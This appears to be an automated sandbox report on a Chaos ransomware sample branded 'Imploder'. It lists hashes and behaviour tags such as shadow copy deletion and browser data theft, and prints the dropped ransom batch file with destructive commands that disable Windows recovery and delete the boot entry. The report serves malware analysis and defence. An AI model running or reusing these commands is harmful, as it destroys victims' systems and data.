chaos

General

Target

241204-kctrtayc9k_pw_infected.zip
Size

176KB
Sample

241205-f8c2qa1kgx
MD5

b491c7b5bb485bd5075045d701ce4f2b
SHA1

4c054bb053ab134989270b514476af4951a0576c
SHA256

f9c4fec8e2c81284647480653b20c97faae25a50f3f2756f6e2b70c8da968d2f
SHA512

5f856acd4a640773f9404ac88093557223a775ef96f8e9c1635bfb74ec0a344423147b07135d86a7776379a3ef154ab04e68d5d0d6bf61a492a4c00fd8ff6b35
SSDEEP

3072:/k7N6kKi8gBxSukhLWMU/JlRn3Iu3F3G1255A2EKJbu9jiYddh1N2TW+O:MhRl88UQFlRn3IoFW1255AuJaBVdRSJO

Score

10^/10

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\helpme.bat

Ransom Note

@echo off reagentc /disable bcdedit.exe /delete {current} cls color 4 echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color f echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color 4 echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color f echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color 4 mode 130,30 title YOU BECAME A VICTIM OF IMPLODER RANSOMWARE! echo uuuuuuu echo uu$$$$$$$$$$$uu WOOPS, YOUR FILES HAVE BEEN ENCRYPTED! echo uu$$$$$$$$$$$$$$$$$uu All your files, like photos, videos, documents etc. have been echo u$$$$$$$$$$$$$$$$$$$$$u encrypted by Imploder. echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u CAN I RECOVER MY FILES? echo u$$$$$$$$$$$$$$$$$$$$$$$$$u No, there is no way to decrypt your files, we didn't made this echo u$$$$$$' '$$$' '$$$$$$u ransomware for earning purpose. There is no turning back now. echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ LAST WARNINGS echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' 1. DO NOT REBOOT OR SHUTDOWN THE SYSTEM, DOING THIS WILL DAMAGE echo '$$$$$$$' '$$$$$$$' YOUR COMPUTER echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu 2. DO NOT TRY TO RENAME THE EXTENSION TO THE FILES, IT WILL echo u$$$$ $$$$$u$u$u$$$ u$$$$ NOT HELP YOU, AND IT WILL CAUSE A PERMANENT CORRUPTION echo $$$$$uu '$$$$$$$$$' uu$$$$$$ FOR THE FILES, YOU HAVE 3 DAYS TO SUBMIT THE PAYMENT, AFTER echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ THAT, WE WILL NO LONGER GIVE YOU THE DECRYPTION SOFTWARE. echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' %date% %time% echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ PRESS ANY KEY TO CLOSE THIS MESSAGE echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' pause > nul

Targets

- Target
  
  001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1
- Size
  
  417KB
- MD5
  
  de41c8ac436c2ea1137e7e142fc4a9b5
- SHA1
  
  df58cda16f1de9ab273009d5f988c281a6650999
- SHA256
  
  001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1
- SHA512
  
  bf7c129bd27808591fcf15ed0d4cddfb22b5580b7f379be884abfc364503d1f69a218ae5adc991f0f20fece57c0a1c92a594d3a01129efa5b8aa7583d2d6dc5a
- SSDEEP
  
  6144:crZrqFq9eIbJdAS1nqS75MlTrPmsTg8ou0+SRBXcMf1+FnH:X7IbLqS75ozTg8odtRBtenH
Score

10^/10

chaos defense_evasion evasion execution impact persistence ransomware spyware stealer
- Chaos
  Ransomware family first seen in June 2021.
  ransomware chaos
- Chaos Ransomware
- Chaos family
  chaos
- Deletes shadow copies
  Ransomware often targets backup files to inhibit system recovery.
  ransomware defense_evasion impact execution
- Modifies boot configuration data using bcdedit
  ransomware evasion
- Renames multiple (194) files with added filename extension
  This suggests ransomware activity of encrypting all the files on the system.
  ransomware
- Deletes backup catalog
  Uses wbadmin.exe to inhibit system recovery.
  ransomware
- Disables Task Manager via registry modification
  evasion
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Drops startup file
- Executes dropped EXE
- Reads user/profile data of web browsers
  Infostealers often target stored browser data, which can include saved credentials etc.
  spyware stealer
- Adds Run key to start application
  persistence
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Sets desktop wallpaper using registry
  ransomware
behavioral1 behavioral2